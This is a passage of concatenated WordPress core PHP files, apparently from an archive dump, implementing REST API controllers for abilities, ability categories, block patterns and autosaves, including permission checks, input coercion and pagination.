new WP_REST_Response( array() ); } else { $categories = array_slice( $categories, $offset, $per_page ); $data = array(); foreach ( $categories as $category ) { $item = $this->prepare_item_for_response( $category, $request ); $data[] = $this->prepare_response_for_collection( $item ); } $response = rest_ensure_response( $data ); } $response->header( 'X-WP-Total', (string) $total_categories ); $response->header( 'X-WP-TotalPages', (string) $max_pages ); $query_params = $request->get_query_params(); $base = add_query_arg( urlencode_deep( $query_params ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) ); if ( $page > 1 ) { $prev_page = $page - 1; $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $page < $max_pages ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Retrieves a specific ability category. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $category = wp_has_ability_category( $request['slug'] ) ? wp_get_ability_category( $request['slug'] ) : null; if ( ! $category ) { return new WP_Error( 'rest_ability_category_not_found', __( 'Ability category not found.' ), array( 'status' => 404 ) ); } $data = $this->prepare_item_for_response( $category, $request ); return rest_ensure_response( $data ); } /** * Checks if a given request has access to read ability categories. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return bool True if the request has read access. */ public function get_items_permissions_check( $request ) { return current_user_can( 'read' ); } /** * Checks if a given request has access to read an ability category. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return bool True if the request has read access. */ public function get_item_permissions_check( $request ) { return current_user_can( 'read' ); } /** * Prepares an ability category for response. * * @since 6.9.0 * * @param WP_Ability_Category $category The ability category object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $category, $request ) { $data = array( 'slug' => $category->get_slug(), 'label' => $category->get_label(), 'description' => $category->get_description(), 'meta' => $category->get_meta(), ); $context = $request['context'] ?? 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $fields = $this->get_fields_for_response( $request ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $category->get_slug() ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'abilities' => array( 'href' => rest_url( sprintf( '%s/abilities?category=%s', $this->namespace, $category->get_slug() ) ), ), ); $response->add_links( $links ); } return $response; } /** * Retrieves the ability category's schema, conforming to JSON Schema. * * @since 6.9.0 * * @return array Item schema data. */ public function get_item_schema(): array { $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'ability-category', 'type' => 'object', 'properties' => array( 'slug' => array( 'description' => __( 'Unique identifier for the ability category.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'label' => array( 'description' => __( 'Display label for the category.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'Description of the category.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'meta' => array( 'description' => __( 'Meta information about the category.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $schema ); } /** * Retrieves the query params for collections. * * @since 6.9.0 * * @return array Collection parameters. */ public function get_collection_params(): array { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'page' => array( 'description' => __( 'Current page of the collection.' ), 'type' => 'integer', 'default' => 1, 'minimum' => 1, ), 'per_page' => array( 'description' => __( 'Maximum number of items to be returned in result set.' ), 'type' => 'integer', 'default' => 50, 'minimum' => 1, 'maximum' => 100, ), ); } } class-wp-rest-abilities-v1-list-controller.php000064400000031011152506367270015413 0ustar00namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-zA-Z0-9\-\/]+)', array( 'args' => array( 'name' => array( 'description' => __( 'Unique identifier for the ability.' ), 'type' => 'string', 'pattern' => '^[a-zA-Z0-9\-\/]+$', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Retrieves all abilities. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object on success. */ public function get_items( $request ) { $query_args = array( 'meta' => array( 'show_in_rest' => true ), ); if ( ! empty( $request['category'] ) ) { $query_args['category'] = $request['category']; } if ( ! empty( $request['namespace'] ) ) { $query_args['namespace'] = $request['namespace']; } if ( ! empty( $request['meta'] ) ) { // Merge caller meta first so the forced show_in_rest filter wins. This keeps a caller from using meta to reveal abilities hidden from REST. $query_args['meta'] = array_merge( $request['meta'], $query_args['meta'] ); } $abilities = wp_get_abilities( $query_args ); $page = $request['page']; $per_page = $request['per_page']; $offset = ( $page - 1 ) * $per_page; $total_abilities = count( $abilities ); $max_pages = (int) ceil( $total_abilities / $per_page ); if ( $request->get_method() === 'HEAD' ) { $response = new WP_REST_Response( array() ); } else { $abilities = array_slice( $abilities, $offset, $per_page ); $data = array(); foreach ( $abilities as $ability ) { $item = $this->prepare_item_for_response( $ability, $request ); $data[] = $this->prepare_response_for_collection( $item ); } $response = rest_ensure_response( $data ); } $response->header( 'X-WP-Total', (string) $total_abilities ); $response->header( 'X-WP-TotalPages', (string) $max_pages ); $query_params = $request->get_query_params(); $base = add_query_arg( urlencode_deep( $query_params ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) ); if ( $page > 1 ) { $prev_page = $page - 1; $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $page < $max_pages ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Retrieves a specific ability. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $ability = wp_has_ability( $request['name'] ) ? wp_get_ability( $request['name'] ) : null; if ( ! $ability || ! $ability->get_meta_item( 'show_in_rest' ) ) { return new WP_Error( 'rest_ability_not_found', __( 'Ability not found.' ), array( 'status' => 404 ) ); } $data = $this->prepare_item_for_response( $ability, $request ); return rest_ensure_response( $data ); } /** * Checks if a given request has access to read ability items. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return bool True if the request has read access. */ public function get_items_permissions_check( $request ) { return current_user_can( 'read' ); } /** * Checks if a given request has access to read an ability item. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return bool True if the request has read access. */ public function get_item_permissions_check( $request ) { return current_user_can( 'read' ); } /** * Prepares an ability for response. * * @since 6.9.0 * * @param WP_Ability $ability The ability object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $ability, $request ) { $data = array( 'name' => $ability->get_name(), 'label' => $ability->get_label(), 'description' => $ability->get_description(), 'category' => $ability->get_category(), 'input_schema' => wp_prepare_json_schema_for_client( $ability->get_input_schema() ), 'output_schema' => wp_prepare_json_schema_for_client( $ability->get_output_schema() ), 'meta' => $ability->get_meta(), ); $context = $request['context'] ?? 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $fields = $this->get_fields_for_response( $request ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $ability->get_name() ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), ); $links['wp:action-run'] = array( 'href' => rest_url( sprintf( '%s/%s/%s/run', $this->namespace, $this->rest_base, $ability->get_name() ) ), ); $response->add_links( $links ); } return $response; } /** * Retrieves the ability's schema, conforming to JSON Schema. * * @since 6.9.0 * * @return array Item schema data. */ public function get_item_schema(): array { $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'ability', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'Unique identifier for the ability.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'label' => array( 'description' => __( 'Display label for the ability.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'Description of the ability.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'category' => array( 'description' => __( 'Ability category this ability belongs to.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'input_schema' => array( 'description' => __( 'JSON Schema for the ability input.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'output_schema' => array( 'description' => __( 'JSON Schema for the ability output.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'meta' => array( 'description' => __( 'Meta information about the ability.' ), 'type' => 'object', 'properties' => array( 'annotations' => array( 'description' => __( 'Behavioral annotations for the ability.' ), 'type' => 'object', 'properties' => array( 'readonly' => array( 'description' => __( 'Whether the ability does not modify its environment.' ), 'type' => array( 'boolean', 'null' ), ), 'destructive' => array( 'description' => __( 'Whether the ability may perform destructive updates to its environment.' ), 'type' => array( 'boolean', 'null' ), ), 'idempotent' => array( 'description' => __( 'Whether repeated calls with the same arguments have no additional effect.' ), 'type' => array( 'boolean', 'null' ), ), ), 'additionalProperties' => true, ), 'public' => array( 'description' => __( 'Whether the ability is meant to be available to clients such as the REST API, MCP, or AI agents. Defaults to false, but individual channel settings such as show_in_rest can override it.' ), 'type' => 'boolean', ), ), 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $schema ); } /** * Retrieves the query params for collections. * * @since 6.9.0 * * @return array Collection parameters. */ public function get_collection_params(): array { $query_params = array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'page' => array( 'description' => __( 'Current page of the collection.' ), 'type' => 'integer', 'default' => 1, 'minimum' => 1, ), 'per_page' => array( 'description' => __( 'Maximum number of items to be returned in result set.' ), 'type' => 'integer', 'default' => 50, 'minimum' => 1, 'maximum' => 100, ), 'category' => array( 'description' => __( 'Limit results to abilities in specific ability category.' ), 'type' => 'string', 'sanitize_callback' => 'sanitize_key', 'validate_callback' => 'rest_validate_request_arg', ), 'namespace' => array( 'description' => __( 'Limit results to abilities in a specific namespace.' ), 'type' => 'string', 'sanitize_callback' => 'sanitize_key', 'validate_callback' => 'rest_validate_request_arg', ), 'meta' => array( 'description' => __( 'Limit results to abilities matching all of the given meta fields.' ), 'type' => 'object', 'properties' => array( // show_in_rest is omitted on purpose. It is forced on and cannot be filtered by a caller. 'annotations' => array( 'description' => __( 'Limit results to abilities matching the given behavioral annotations.' ), 'type' => 'object', 'properties' => array( 'readonly' => array( 'description' => __( 'Whether the ability does not modify its environment.' ), 'type' => array( 'boolean', 'null' ), ), 'destructive' => array( 'description' => __( 'Whether the ability may perform destructive updates to its environment.' ), 'type' => array( 'boolean', 'null' ), ), 'idempotent' => array( 'description' => __( 'Whether repeated calls with the same arguments have no additional effect.' ), 'type' => array( 'boolean', 'null' ), ), ), 'additionalProperties' => true, ), ), 'additionalProperties' => true, ), ); /** * Filters REST API collection parameters for the abilities controller. * * Use this to declare the schema type of a custom meta key. A declared * type lets REST coerce a query-string value, for example "true" to a * boolean, before the meta filter matches it. * * @since 7.1.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_abilities_collection_params', $query_params ); } } class-wp-rest-blocks-controller.php000064400000006070152506367270013435 0ustar00ID ) ) { return false; } return parent::check_read_permission( $post ); } /** * Filters a response based on the context defined in the schema. * * @since 5.0.0 * @since 6.3.0 Adds the `wp_pattern_sync_status` postmeta property to the top level of response. * * @param array $data Response data to filter. * @param string $context Context defined in the schema. * @return array Filtered response. */ public function filter_response_by_context( $data, $context ) { $data = parent::filter_response_by_context( $data, $context ); /* * Remove `title.rendered` and `content.rendered` from the response. * It doesn't make sense for a pattern to have rendered content on its own, * since rendering a block requires it to be inside a post or a page. */ unset( $data['title']['rendered'] ); unset( $data['content']['rendered'] ); // Add the core wp_pattern_sync_status meta as top level property to the response. $data['wp_pattern_sync_status'] = $data['meta']['wp_pattern_sync_status'] ?? ''; unset( $data['meta']['wp_pattern_sync_status'] ); return $data; } /** * Retrieves the pattern's schema, conforming to JSON Schema. * * @since 5.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = parent::get_item_schema(); /* * Allow all contexts to access `title.raw` and `content.raw`. * Clients always need the raw markup of a pattern to do anything useful, * e.g. parse it or display it in an editor. */ $schema['properties']['title']['properties']['raw']['context'] = array( 'view', 'edit' ); $schema['properties']['content']['properties']['raw']['context'] = array( 'view', 'edit' ); /* * Remove `title.rendered` and `content.rendered` from the schema. * It doesn't make sense for a pattern to have rendered content on its own, * since rendering a block requires it to be inside a post or a page. */ unset( $schema['properties']['title']['properties']['rendered'] ); unset( $schema['properties']['content']['properties']['rendered'] ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } class-wp-rest-abilities-v1-run-controller.php000064400000026572152506367270015264 0ustar00namespace, '/' . $this->rest_base . '/(?P[a-zA-Z0-9\-\/]+?)/run', array( 'args' => array( 'name' => array( 'description' => __( 'Unique identifier for the ability.' ), 'type' => 'string', 'pattern' => '^[a-zA-Z0-9\-\/]+$', ), ), // TODO: We register ALLMETHODS because at route registration time, we don't know which abilities // exist or their annotations (`destructive`, `idempotent`, `readonly`). This is due to WordPress // load order - routes are registered early, before plugins have registered their abilities. // This approach works but could be improved with lazy route registration or a different // architecture that allows type-specific routes after abilities are registered. // This was the same issue that we ended up seeing with the Feature API. array( 'methods' => WP_REST_Server::ALLMETHODS, 'callback' => array( $this, 'execute_ability' ), 'permission_callback' => array( $this, 'check_ability_permissions' ), 'args' => $this->get_run_args(), ), 'schema' => array( $this, 'get_run_schema' ), ) ); } /** * Executes an ability. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function execute_ability( $request ) { $ability = wp_has_ability( $request['name'] ) ? wp_get_ability( $request['name'] ) : null; if ( ! $ability ) { return new WP_Error( 'rest_ability_not_found', __( 'Ability not found.' ), array( 'status' => 404 ) ); } $input = $this->get_input_from_request( $request ); $result = $ability->execute( $input ); if ( is_wp_error( $result ) ) { return $result; } return rest_ensure_response( $result ); } /** * Validates if the HTTP method matches the expected method for the ability based on its annotations. * * @since 6.9.0 * * @param string $request_method The HTTP method of the request. * @param array $annotations The ability annotations. * @return true|WP_Error True on success, or WP_Error object on failure. */ public function validate_request_method( string $request_method, array $annotations ) { $expected_method = 'POST'; if ( ! empty( $annotations['readonly'] ) ) { $expected_method = 'GET'; } elseif ( ! empty( $annotations['destructive'] ) && ! empty( $annotations['idempotent'] ) ) { $expected_method = 'DELETE'; } if ( $expected_method === $request_method ) { return true; } $error_message = __( 'Abilities that perform updates require POST method.' ); if ( 'GET' === $expected_method ) { $error_message = __( 'Read-only abilities require GET method.' ); } elseif ( 'DELETE' === $expected_method ) { $error_message = __( 'Abilities that perform destructive actions require DELETE method.' ); } return new WP_Error( 'rest_ability_invalid_method', $error_message, array( 'status' => 405 ) ); } /** * Checks if a given request has permission to execute a specific ability. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has execution permission, WP_Error object otherwise. */ public function check_ability_permissions( $request ) { $ability = wp_has_ability( $request['name'] ) ? wp_get_ability( $request['name'] ) : null; if ( ! $ability || ! $ability->get_meta_item( 'show_in_rest' ) ) { return new WP_Error( 'rest_ability_not_found', __( 'Ability not found.' ), array( 'status' => 404 ) ); } $is_valid = $this->validate_request_method( $request->get_method(), $ability->get_meta_item( 'annotations' ) ); if ( is_wp_error( $is_valid ) ) { return $is_valid; } $input = $this->get_input_from_request( $request ); $input = $ability->normalize_input( $input ); if ( is_wp_error( $input ) ) { return $this->ensure_error_status( $input, 400 ); } $is_valid = $ability->validate_input( $input ); if ( is_wp_error( $is_valid ) ) { return $this->ensure_error_status( $is_valid, 400 ); } $result = $ability->check_permissions( $input ); if ( is_wp_error( $result ) ) { $result->add_data( array( 'status' => rest_authorization_required_code() ) ); return $result; } if ( ! $result ) { return new WP_Error( 'rest_ability_cannot_execute', __( 'Sorry, you are not allowed to execute this ability.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Ensures a WP_Error object carries an HTTP status, adding a default when none is set. * * @since 7.1.0 * * @param WP_Error $error Error object to update. * @param int $status HTTP status code to add if not already present. * @return WP_Error The error object, with a default status when needed. */ private function ensure_error_status( WP_Error $error, int $status ): WP_Error { $error_data = $error->get_error_data(); if ( ! is_array( $error_data ) || ! isset( $error_data['status'] ) ) { $error->add_data( array( 'status' => $status ) ); } return $error; } /** * Extracts input parameters from the request. * * @since 6.9.0 * * @param WP_REST_Request $request The request object. * @return mixed|null The input parameters. */ private function get_input_from_request( $request ) { if ( in_array( $request->get_method(), array( 'GET', 'DELETE' ), true ) ) { // For GET and DELETE requests, look for 'input' query parameter. $query_params = $request->get_query_params(); return $query_params['input'] ?? null; } // For POST requests, look for 'input' in JSON body. $json_params = $request->get_json_params(); return $json_params['input'] ?? null; } /** * Sanitizes the run input by coercing it to the ability's input schema. * * Registered as the `input` argument `sanitize_callback` so that both * `check_ability_permissions()` and `execute_ability()` receive natively typed input * regardless of transport. * * @since 7.1.0 * * @see WP_REST_Abilities_V1_Run_Controller::coerce_input_to_schema() * * @param mixed $input Raw input extracted from the request. * @param WP_REST_Request $request The request object. * @return mixed Coerced input, or the raw input when it cannot be safely coerced. */ public function sanitize_input_for_ability( $input, $request ) { $ability = wp_has_ability( $request['name'] ) ? wp_get_ability( $request['name'] ) : null; if ( ! $ability instanceof WP_Ability ) { return $input; } return $this->coerce_input_to_schema( $input, $ability ); } /** * Coerces raw request input to the types declared in the ability input schema. * * GET and DELETE deliver every scalar as a string ("10", "true") and a list as a single * comma-separated string, so without coercion an ability receives raw strings where its * schema declares integers, booleans, or arrays. * * Coercion never changes what validation accepts. Input is coerced only when * {@see WP_Ability::validate_input()} already accepts it, and any error surfaced while * sanitizing falls back to the raw input, so `validate_input()` stays the single authority * on what is rejected. * * @since 7.1.0 * * @param mixed $input Raw input extracted from the request. * @param WP_Ability $ability The ability being executed. * @return mixed Coerced input, or the raw input when it cannot be safely coerced. */ private function coerce_input_to_schema( $input, WP_Ability $ability ) { if ( null === $input ) { return $input; } $schema = $ability->get_input_schema(); if ( empty( $schema ) ) { return $input; } /* * Only coerce input that already validates. Sanitizing invalid input can silently * change which values are accepted -- `additionalProperties: false` strips unknown * keys, and a non-numeric string casts to 0 -- so leaving invalid input untouched * lets validate_input() reject it exactly as it does without coercion. * * validate_input() is asked rather than rest_validate_value_from_schema() so that the * `wp_ability_validate_input` filter decides what counts as valid here as well. A filter * that overrides a schema failure accepts the input, so the input is coerced; a filter * that rejects otherwise valid input leaves it untouched for validate_input() to report. */ if ( is_wp_error( $ability->validate_input( $input ) ) ) { return $input; } $sanitized = rest_sanitize_value_from_schema( $input, $schema, 'input' ); /* * Sanitizing can still surface an error the lenient validation above did not, such as * items that are unique as strings but collide once cast to integers (`uniqueItems`). * The error may be returned at the top level or nested inside the returned array, so * scan recursively and fall back to the raw input on any error. */ if ( $this->input_contains_error( $sanitized ) ) { return $input; } return $sanitized; } /** * Determines whether a sanitized value is, or contains, a WP_Error. * * @since 7.1.0 * * @param mixed $value The value to inspect. * @return bool True if the value is, or contains, a WP_Error. */ private function input_contains_error( $value ): bool { if ( is_wp_error( $value ) ) { return true; } if ( is_array( $value ) ) { foreach ( $value as $item ) { if ( $this->input_contains_error( $item ) ) { return true; } } } return false; } /** * Retrieves the arguments for ability execution endpoint. * * @since 6.9.0 * * @return array Arguments for the run endpoint. */ public function get_run_args(): array { return array( 'input' => array( 'description' => __( 'Input parameters for the ability execution.' ), 'type' => array( 'integer', 'number', 'boolean', 'string', 'array', 'object', 'null' ), 'default' => null, 'sanitize_callback' => array( $this, 'sanitize_input_for_ability' ), ), ); } /** * Retrieves the schema for ability execution endpoint. * * @since 6.9.0 * * @return array Schema for the run endpoint. */ public function get_run_schema(): array { return array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'ability-execution', 'type' => 'object', 'properties' => array( 'result' => array( 'description' => __( 'The result of the ability execution.' ), 'type' => array( 'integer', 'number', 'boolean', 'string', 'array', 'object', 'null' ), 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); } } class-wp-rest-autosaves-controller.php000064400000036224152506367270014176 0ustar00parent_post_type = $parent_post_type; $post_type_object = get_post_type_object( $parent_post_type ); $parent_controller = $post_type_object->get_rest_controller(); if ( ! $parent_controller ) { $parent_controller = new WP_REST_Posts_Controller( $parent_post_type ); } $this->parent_controller = $parent_controller; $revisions_controller = $post_type_object->get_revisions_rest_controller(); if ( ! $revisions_controller ) { $revisions_controller = new WP_REST_Revisions_Controller( $parent_post_type ); } $this->revisions_controller = $revisions_controller; $this->rest_base = 'autosaves'; $this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name; $this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2'; } /** * Registers the routes for autosaves. * * @since 5.0.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P[\d]+)/' . $this->rest_base, array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the autosave.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->parent_controller->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P[\d]+)/' . $this->rest_base . '/(?P[\d]+)', array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the autosave.' ), 'type' => 'integer', ), 'id' => array( 'description' => __( 'The ID for the autosave.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this->revisions_controller, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Get the parent post. * * @since 5.0.0 * * @param int $parent_id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_parent( $parent_id ) { return $this->revisions_controller->get_parent( $parent_id ); } /** * Checks if a given request has access to get autosaves. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $parent = $this->get_parent( $request['id'] ); if ( is_wp_error( $parent ) ) { return $parent; } if ( ! current_user_can( 'edit_post', $parent->ID ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to view autosaves of this post.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Checks if a given request has access to create an autosave revision. * * Autosave revisions inherit permissions from the parent post, * check if the current user has permission to edit the post. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create the item, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); if ( empty( $id ) ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid item ID.' ), array( 'status' => 404 ) ); } return $this->parent_controller->update_item_permissions_check( $request ); } /** * Creates, updates or deletes an autosave revision. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( ! defined( 'WP_RUN_CORE_TESTS' ) && ! defined( 'DOING_AUTOSAVE' ) ) { define( 'DOING_AUTOSAVE', true ); } $post = $this->get_parent( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } $prepared_post = $this->parent_controller->prepare_item_for_database( $request ); $prepared_post->ID = $post->ID; $user_id = get_current_user_id(); // We need to check post lock to ensure the original author didn't leave their browser tab open. if ( ! function_exists( 'wp_check_post_lock' ) ) { require_once ABSPATH . 'wp-admin/includes/post.php'; } $post_lock_is_active = wp_check_post_lock( $post->ID ); $is_draft = 'draft' === $post->post_status || 'auto-draft' === $post->post_status; /* * When a post is still in draft form, updates from the author can directly update the post. * Other autosaves must be stored as per-user autosave revisions. */ $can_update_author_draft_post = ( $is_draft && (int) $post->post_author === $user_id ); $should_update_parent_draft_post = ( ! $post_lock_is_active && $can_update_author_draft_post ); if ( $should_update_parent_draft_post ) { /* * Draft posts for the same author: autosaving updates the post and does not create a revision. * Convert the post object to an array and add slashes, wp_update_post() expects escaped array. */ $autosave_id = wp_update_post( wp_slash( (array) $prepared_post ), true ); } else { $autosave_id = $this->create_post_autosave( (array) $prepared_post, (array) $request->get_param( 'meta' ) ); } if ( is_wp_error( $autosave_id ) ) { return $autosave_id; } $autosave = get_post( $autosave_id ); $request->set_param( 'context', 'edit' ); $response = $this->prepare_item_for_response( $autosave, $request ); $response = rest_ensure_response( $response ); return $response; } /** * Get the autosave, if the ID is valid. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise. */ public function get_item( $request ) { $parent_id = (int) $request->get_param( 'parent' ); if ( $parent_id <= 0 ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post parent ID.' ), array( 'status' => 404 ) ); } $autosave = wp_get_post_autosave( $parent_id ); if ( ! $autosave ) { return new WP_Error( 'rest_post_no_autosave', __( 'There is no autosave revision for this post.' ), array( 'status' => 404 ) ); } $response = $this->prepare_item_for_response( $autosave, $request ); return $response; } /** * Gets a collection of autosaves using wp_get_post_autosave. * * Contains the user's autosave, for empty if it doesn't exist. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $parent = $this->get_parent( $request['id'] ); if ( is_wp_error( $parent ) ) { return $parent; } if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $response = array(); $parent_id = $parent->ID; $revisions = wp_get_post_revisions( $parent_id, array( 'check_enabled' => false ) ); foreach ( $revisions as $revision ) { if ( str_contains( $revision->post_name, "{$parent_id}-autosave" ) ) { $data = $this->prepare_item_for_response( $revision, $request ); $response[] = $this->prepare_response_for_collection( $data ); } } return rest_ensure_response( $response ); } /** * Retrieves the autosave's schema, conforming to JSON Schema. * * @since 5.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = $this->revisions_controller->get_item_schema(); $schema['properties']['preview_link'] = array( 'description' => __( 'Preview link for the post.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'edit' ), 'readonly' => true, ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Creates autosave for the specified post. * * From wp-admin/post.php. * * @since 5.0.0 * @since 6.4.0 The `$meta` parameter was added. * * @param array $post_data Associative array containing the post data. * @param array $meta Associative array containing the post meta data. * @return mixed The autosave revision ID or WP_Error. */ public function create_post_autosave( $post_data, array $meta = array() ) { $post_id = (int) $post_data['ID']; $post = get_post( $post_id ); if ( is_wp_error( $post ) ) { return $post; } // Only create an autosave when it is different from the saved post. $autosave_is_different = false; $new_autosave = _wp_post_revision_data( $post_data, true ); foreach ( array_intersect( array_keys( $new_autosave ), array_keys( _wp_post_revision_fields( $post ) ) ) as $field ) { if ( normalize_whitespace( $new_autosave[ $field ] ) !== normalize_whitespace( $post->$field ) ) { $autosave_is_different = true; break; } } // Check if meta values have changed. if ( ! empty( $meta ) ) { $revisioned_meta_keys = wp_post_revision_meta_keys( $post->post_type ); foreach ( $revisioned_meta_keys as $meta_key ) { // get_metadata_raw is used to avoid retrieving the default value. $old_meta = get_metadata_raw( 'post', $post_id, $meta_key, true ); $new_meta = $meta[ $meta_key ] ?? ''; if ( $new_meta !== $old_meta ) { $autosave_is_different = true; break; } } } $user_id = get_current_user_id(); // Store one autosave per author. If there is already an autosave, overwrite it. $old_autosave = wp_get_post_autosave( $post_id, $user_id ); if ( ! $autosave_is_different && $old_autosave ) { // Nothing to save, return the existing autosave. return $old_autosave->ID; } if ( $old_autosave ) { $new_autosave['ID'] = $old_autosave->ID; $new_autosave['post_author'] = $user_id; /** This action is documented in wp-admin/includes/post.php */ do_action( 'wp_creating_autosave', $new_autosave, true ); // wp_update_post() expects escaped array. $revision_id = wp_update_post( wp_slash( $new_autosave ) ); } else { // Create the new 